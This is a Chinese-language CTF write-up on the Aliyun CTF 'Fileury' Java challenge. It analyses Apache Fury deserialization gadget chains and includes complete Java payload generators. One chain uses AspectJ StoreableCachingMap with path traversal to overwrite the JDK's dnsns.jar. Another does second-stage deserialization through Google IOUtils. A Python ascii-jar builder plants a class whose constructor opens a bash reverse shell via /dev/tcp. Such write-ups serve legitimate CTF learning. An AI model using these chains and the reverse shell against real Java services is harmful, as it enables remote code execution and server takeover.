文章预计首发先知…晚点贴
第四届阿里ctf,看下几个java题,每年的传统了
https://www.aliyunctf.com/challenges
好像是这道题全网首发Fileury二次反序列化的poc,因为其他人的解题路径不太一样,可能不屑写预期解吧hh
fileury 好像每年都出fury?这是ali强推的序列化组件吗,老演员了
mcp测试 临时兴起,后面还是得分析的,这里测试下Jadx mcp性能,看下能不能解决阿里这种级别
虽然没有直接给出poc,但是sink点还是有的
后面找链子还是不太行,看来还有机会
写文件加载 dnsns or jce jar 之前我说aspectjweaver:
原来被修复的cc也能用上,打扰
先看入口,接收base64字符串去反序列化
先看依赖有aspectj,可惜没有其他的,比如springaop
ban了很多类
官方wp说是用com.google.api.client.util.IOUtils的deserialize方法,存在二次反序列化
这个思路也是很吊的,因为fury的反序列化函数是deserialize,所以想到还有deserialize也能反序列化。
用tabby找下最直接的路径,并没有发现有这个链子。
wp说是UsingToStringOrdering的compare方法可以有数据流到达IOUtils,也没找到到达UsingToStringOrdering的链子,难道是我没加jdk源代码进去分析的原因(好像还真是没有加spring的去分析来着)?但是找了下是有HashMap的,没招了,真有二次反序列化吗
但是翻看了su队的wp,发现并没有ban org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
能直接aspectjweaver写文件的!
二次反序列化暂时搁置一下,但是只有写文件,据说charsets.jar还被提前加载了,计划任务更是不考虑。
因为我们手上有附件,可以用-verbose:class本地运行jar包,看看加载了哪些jar
之前有分析过windows下会自动加载charsets.jar,这个有时候本地显示加载了远程也能打
1、没有加载dnsns.jar,可以通过反序列化sun.net.spi.nameservice.dns.DNSNameServiceDescriptor触发dnsns.jar加载
2、没有加载jce.jar,可以通过重写jar中的javax.crypto.NoSuchPaddingException类来加载
jar路径可以去spring fatjar写charsets.jar文里用字典全部遍历一遍
这里是/usr/local/openjdk-8/jre/lib/jce.jar
刚开始准备把两版都写一遍的,做完dnsns累到不行了,还是算了
单次反序列化poc su poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantFactory;import org.apache.commons.collections.functors.StringValueTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.fury.Fury;import org.apache.fury.config.Language;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class alictf_Fileury { public static void main (String[] args) throws Exception { byte [] content = Files.readAllBytes(Paths.get("evildnsns.jar" )); String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar" ; Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map storeableMap = (Map) constructor.newInstance("." , 100 ); ConstantFactory factory = new ConstantFactory (content); Map lazyMap = LazyMap.decorate(storeableMap, factory); TiedMapEntry entry = new TiedMapEntry (lazyMap, filename); org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance(); TransformingComparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , comparator); Field sizeField = PriorityQueue.class.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(queue, 2 ); Field queueField = PriorityQueue.class.getDeclaredField("queue" ); queueField.setAccessible(true ); Object[] queueArray = new Object [2 ]; queueArray[0 ] = entry; queueArray[1 ] = entry; queueField.set(queue, queueArray); System.out.println("Serializing AspectJ Chain with Fury..." ); Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false ).build(); byte [] serializedInfo = fury.serialize(queue); String b64 = Base64.getEncoder().encodeToString(serializedInfo); FileOutputStream fos = new FileOutputStream ("payload_aj.b64" ); fos.write(b64.getBytes()); fos.close(); System.out.println("AspectJ Payload saved to payload_aj.b64" ); } }
怎么构造ascii-jar呢?直接找到本地的dnsns.jar,写个构造函数即可(好像也不用ascii-jar,之前构造charsets.jar都是直接编译就能用的,直接把dnsns.jar解压出来,然后直接改DNSNameServiceDescriptor构造函数或者静态代码块都可以)
也可以直接抄dnsns.jar的构造,ascii-jar登场
https://mp.weixin.qq.com/s/9e0V4bnV6fuGAfO1AKLYdw
先去git clone ascii-jar的项目,然后运行下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from __future__ import print_functionimport timeimport osfrom compress import *allow_bytes = [] disallowed_bytes = [38 ,60 ,39 ,62 ,34 ,40 ,41 ] for b in range (0 ,128 ): if b in disallowed_bytes: continue allow_bytes.append(b) if __name__ == '__main__' : padding_char = 'U' raw_filename = 'DNSNameServiceDescriptor.class' zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class' jar_filename = 'evildnsns.jar' num = 1 while True : javaCode = """ package sun.net.spi.nameservice.dns; import sun.net.spi.nameservice.*; import java.io.IOException; public final class DNSNameServiceDescriptor implements NameServiceDescriptor { private static final String paddingData = "{PADDING_DATA}"; public DNSNameServiceDescriptor() { try { Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vpsip/port 0>&1"); } catch (IOException e) { e.printStackTrace(); } } public NameService createNameService() throws Exception { return new DNSNameService(); } public String getProviderName() { return "sun"; } public String getType() { return "dns"; } } """ padding_data = padding_char * num javaCode = javaCode.replace("{PADDING_DATA}" , padding_data) f = open ('DNSNameServiceDescriptor.java' , 'w' ) f.write(javaCode) f.close() time.sleep(0.1 ) os.system("D:/jdk-all/jdk_8u_381/bin/javac.exe -cp jasper.jar DNSNameServiceDescriptor.java" ) time.sleep(0.1 ) raw_data = bytearray (open (raw_filename, 'rb' ).read()) compressor = ASCIICompressor(bytearray (allow_bytes)) compressed_data = compressor.compress(raw_data)[0 ] crc = zlib.crc32(raw_data) % pow (2 , 32 ) st_crc = struct.pack('<L' , crc) st_raw_data = struct.pack('<L' , len (raw_data) % pow (2 , 32 )) st_compressed_data = struct.pack('<L' , len (compressed_data) % pow (2 , 32 )) st_cdzf = struct.pack('<L' , len (compressed_data) + len (zip_entity_filename) + 0x1e ) b_crc = isAllowBytes(st_crc, allow_bytes) b_raw_data = isAllowBytes(st_raw_data, allow_bytes) b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes) b_cdzf = isAllowBytes(st_cdzf, allow_bytes) if b_crc and b_raw_data and b_compressed_data and b_cdzf: print ('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}' .format (b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) output = open (jar_filename, 'wb' ) output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode())) print ('[+] Generate {0} success' .format (jar_filename)) break else : print ('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}' .format (b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) num = num + 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.apache.fury.Fury;import org.apache.fury.config.Language;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.util.Base64;public class ExpDNS { public static void main (String[] args) throws Exception { System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor..." ); Fury fury = Fury.builder() .withLanguage(Language.JAVA) .requireClassRegistration(false ) .build(); Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor" ); Constructor constructor = clazz.getDeclaredConstructor(); Object instance = constructor.newInstance(); byte [] payload = fury.serialize(instance); String b64 = Base64.getEncoder().encodeToString(payload); try (FileOutputStream fos = new FileOutputStream ("payload_dns.b64" )) { fos.write(b64.getBytes()); } System.out.println("Payload saved to payload_dns.b64" ); System.out.println("Payload Base64: " + b64); } }
弹回shell
二次反序列化 去年也是fury反序列化,并且去年分析到了Fury.deserialize有触发到compare然后触发到IoUtil.readObj二次反序列化的链子
1 2 3 4 5 6 7 8 9 10 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> PropertyComparator.compare -> PropertyUtilsBean.invokeMethod -> getter MapProxy.invoke -> BeanConverter.convertInternal -> readObject -> PriorityQueue.readObject -> TemplatesImpl.getOuputProperties
https://godownio.github.io/2025/02/28/2025aliyun-ctf-java/
在测试的时候发现Fury->CollectionSerializer都有搜索
1 2 3 4 MATCH p = (start:Method)-[:CALL*1..10]->(end:Method) WHERE start.CLASSNAME = "org.apache.fury.Fury" AND end.CLASSNAME = "org.apache.fury.serializer.collection.CollectionSerializer" RETURN p
涉及到了跨反序列化器的好像确实搜索不到,比如CollectionSerializer->java.util.PriorityQueue
1 2 3 4 MATCH p = (start:Method)-[:CALL*1..20]->(end:Method) WHERE start.CLASSNAME = "org.apache.fury.serializer.collection.CollectionSerializer" AND end.CLASSNAME = "java.util.PriorityQueue" RETURN p
不管了,前半段还是一样的用:
1 2 3 4 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> compare
需要找到达IOUtils.deserialize的链子,有且仅有AbstractMemoryDataStore.get调用了IOUtils.deserialize
get方法,我思前想后,toString从官方放出的hint也就知道,com.google.common.collect.UsingToStringOrdering#compare是能调用到toString的
那toString怎么调用到get呢?
于是我翻看了values函数,发现是循环调用get出来,那dataSource如果需要toString的话,那肯定会调用自身的get啊!
果不其然,我在DataStoreUtils.toString中找到了调用get的方法(不是调用get就会调用values,想想toString的功能设计就知道这里会有了)
(其实我开始想到了lilctf的CodeSigner.toString->get,但是写的时候才发现只能调用List.get )
所以我觉得链子应该是:
1 2 3 4 5 6 7 8 9 10 11 12 13 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> UsingToStringOrdering.compare -> AbstractMemoryDataStore.toString-> DataStoreUtils.toString-> AbstractMemoryDataStore.get -> IOUtils.deserialize 二次反序列化打aspectJweaver BadAttributeValueExpException#readObject -> TieMapEntry#toString -> getValue -> LazyMap.get -> SimpleCache$StoreableCachingMap.put
可是su为什么这样打也行啊啊啊
1 2 3 4 5 6 7 8 9 10 11 12 13 PriorityQueue.readObject() → heapify() → siftDown() → comparator.compare(queue[0], queue[1]) → TransformingComparator.compare() → StringValueTransformer.transform(TiedMapEntry) → String.valueOf(TiedMapEntry) → TiedMapEntry.toString() → TiedMapEntry.getValue() → LazyMap.get(key) → factory.create() [ConstantFactory 返回预设的 byte[]] → StoreableCachingMap.put(key, value) → 写入文件 key,内容为 value
第一个问题是TransformingComparator不是在黑名单吗,噢他妈的环境是cc3.2.2,你过滤cc4的有毛用啊喂
第二个问题是不用IOUtils二次反序列化也能打?因为他妈的压根没有过滤aspectJweaver链子啊喂
无敌了,wp想考的二次反序列化形同虚设,尤其是cc3的依赖过滤cc4我是真没绷住
二次反序列化poc 网上好像没有这条链子的poc来着
好久没写poc了,正好练手,等下,UsingToStringOrdering->toSting是不是能和SU POC里的PriorityQueue->toString相互代替来着?两个其实用哪个触发到get都一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> UsingToStringOrdering.compare -> AbstractMemoryDataStore.toString-> DataStoreUtils.toString-> AbstractMemoryDataStore.get -> IOUtils.deserialize 二次反序列化打aspectJweaver BadAttributeValueExpException#readObject -> TieMapEntry#toString -> getValue -> LazyMap.get -> SimpleCache$StoreableCachingMap.put
注意二次反序列化二阶段就不能用org.apache.commons.collections.comparators.TransformingComparator了,因为fury是用反序列化器调用还原对象的,TransformingComparator不可序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import com.caucho.quercus.annotation.Construct;import com.google.api.client.util.store.AbstractMemoryDataStore;import com.google.api.client.util.store.DataStoreUtils;import com.google.api.client.util.store.MemoryDataStoreFactory;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.fury.Fury;import org.apache.fury.config.Language;import javax.management.BadAttributeValueExpException;import javax.swing.event.EventListenerList;import javax.swing.undo.CompoundEdit;import javax.swing.undo.UndoManager;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;import java.security.CodeSigner;import java.security.cert.X509Certificate;import java.util.*;import sun.security.provider.certpath.X509CertPath;import java.io.FileOutputStream;public class alictf_Fileury { public static void main (String[] args) throws Exception { String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar" ; byte [] code = Files.readAllBytes(Paths.get("evildnsns.jar" )); Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor constructor = clazz.getDeclaredConstructor(String.class,int .class); constructor.setAccessible(true ); HashMap storeableCachingMap = (HashMap) constructor.newInstance("." ,1 ); LazyMap lazy = (LazyMap) LazyMap.decorate(storeableCachingMap, new ConstantTransformer (code)); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazy, filename); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field field = BadAttributeValueExpException.class.getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, tiedMapEntry); MemoryDataStoreFactory memoryDataStoreFactory = MemoryDataStoreFactory.getDefaultInstance(); Class<?> memoryStoreClass = Class.forName("com.google.api.client.util.store.MemoryDataStoreFactory$MemoryDataStore" ); Constructor<?> constructor1 = memoryStoreClass.getDeclaredConstructor( MemoryDataStoreFactory.class, String.class ); constructor1.setAccessible(true ); Class<?> clazz1 = Class.forName("com.google.common.collect.UsingToStringOrdering" ); Field instanceField = clazz1.getDeclaredField("INSTANCE" ); instanceField.setAccessible(true ); Comparator ordering = (Comparator) instanceField.get(null ); AbstractMemoryDataStore store = (AbstractMemoryDataStore) constructor1.newInstance(memoryDataStoreFactory, "my-store-id" ); store.set("godown" , badAttributeValueExpException); PriorityQueue queue = new PriorityQueue (2 , ordering); Field sizeField = PriorityQueue.class.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(queue, 2 ); Field queueField = PriorityQueue.class.getDeclaredField("queue" ); queueField.setAccessible(true ); Object[] queueArray = new Object [2 ]; queueArray[0 ] = store; queueArray[1 ] = store; queueField.set(queue, queueArray); System.out.println("Serializing AspectJ Chain with Fury..." ); Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false ).build(); byte [] serializedInfo = fury.serialize(queue); String b64 = Base64.getEncoder().encodeToString(serializedInfo); FileOutputStream fos = new FileOutputStream ("payload_aj.b64" ); fos.write(b64.getBytes()); fos.close(); System.out.println("AspectJ Payload saved to payload_aj.b64" ); byte [] decoded = Base64.getDecoder().decode(b64); String decodedStr = new String (decoded, StandardCharsets.UTF_8); fury.deserialize(decoded); } }
调了一晚上,不ez /(ㄒoㄒ)/~~